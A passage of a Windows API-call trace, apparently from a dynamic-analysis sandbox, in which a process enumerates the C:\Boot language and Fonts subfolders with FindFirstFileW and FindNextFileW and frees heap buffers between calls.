ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.714] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.715] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.715] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.715] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.715] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.715] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.715] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.715] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.715] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.715] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.716] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.716] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.716] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.716] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.717] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.717] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.717] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.717] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.717] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.717] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.717] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.718] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.718] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.718] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.718] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.718] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.719] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.719] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.719] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.719] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.719] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.719] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.719] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.719] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.719] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.720] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.720] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.721] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.721] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.721] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.721] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.721] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.722] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.722] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.722] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.722] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.722] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.722] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.722] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.723] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.723] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.723] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.723] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.723] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.723] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.723] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.724] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.724] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.724] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.724] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.724] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.724] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.724] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.725] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.725] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.725] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.725] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.725] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.725] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.725] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.726] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.726] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 